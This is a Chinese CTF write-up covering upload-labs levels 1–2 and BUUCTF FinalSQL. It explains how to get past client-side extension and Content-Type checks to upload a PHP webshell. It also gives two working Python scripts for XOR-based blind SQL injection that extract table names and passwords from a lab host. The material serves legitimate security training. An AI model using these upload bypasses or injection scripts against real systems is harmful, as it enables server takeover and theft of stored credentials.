upload-labs 1
-
查看源码得知只能上传jpg\png\gif格式的文件
-
方法一:创建一个php文件然后在后面加上jpg文件后缀
-
如:aaa.php.jpg
-
写好php代码后,上传上去,上传成功
-
查看后台文件确实存在
-
方法二:上传aaa.jpg文件
-
-
bp抓包,将后缀改为php,这样能骗过前端验证2,但又能将目标文件上传到指定位置
-
上传成功
upload-labs 2
-
先查看源码
if (file_exists($UPLOAD_ADDR)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) { $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name']; $is_upload = true; }
分析源码得知,只需要在提交是的文件类型为image/...就行
-
这里补充一下http中的content-type的常见媒体格式类型:
- text/html : HTML格式
- text/plain :纯文本格式
- text/xml : XML格式
- image/gif :gif图片格式
- image/jpeg :jpg图片格式
- image/png:png图片格式
-
这里按照第一题的思路,将后缀加jpg也可以
-
但这里如果想上传php类型的文件,按理说是不可以的,
-
-
但只要用bp抓包后,就该文件头为image格式的就行
-
修改为
-
上传成功
-
此时用菜刀执行webshell直接拿到权限
buuctf-FinalSQL
考察点:
盲注、脚本爆破
解题过程:
-
做FUZZ测试,发现同样过滤了union、or、and、||、&等我们常用的关键字,但是没有过滤异或符号^。
-
利用mysql异或注入
-
当输入?id=1^0时,回显正常
-
当输入?id=1^1时,回显error
-
注意关键字click和error,代码中可能会用到
-
最后就是用python脚本爆破
-
下面是大神写的比较好的两个脚本
import requests import time url = "http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php" temp = {"id": ""} column = "" for i in range(1, 1000): time.sleep(0.06) low = 32 high = 128 mid = (low + high) // 2 while (low < high): # 库名 information_schema,mysql,performance_schema,test,geek #temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid) # 表名 F1naI1y,Flaaaaag #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)^1" %(i,mid) # 字段名 #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid) # 内容 temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid) r = requests.get(url, params=temp) time.sleep(0.04) print(low, high, mid, ":") if "Click" in r.text: low = mid + 1 else: high = mid mid = (low + high) // 2 if (mid == 32 or mid == 127): break column += chr(mid) print(column) print("All:", column) #
import requests url = 'http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php' flag = '' for i in range(1,250): low = 32 high = 128 mid = (low+high)//2 while(low<high): #payload = 'http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid) payload = "http://ccee8655-e836-4220-a0fa-afbfaddfd572.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid) res = requests.get(url=payload) if 'ERROR' in res.text: low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag)
但是第二个脚本好用,使用的主要是二分法查找,提高查找效率。
正常情况下应该能得到flag,但都有点问题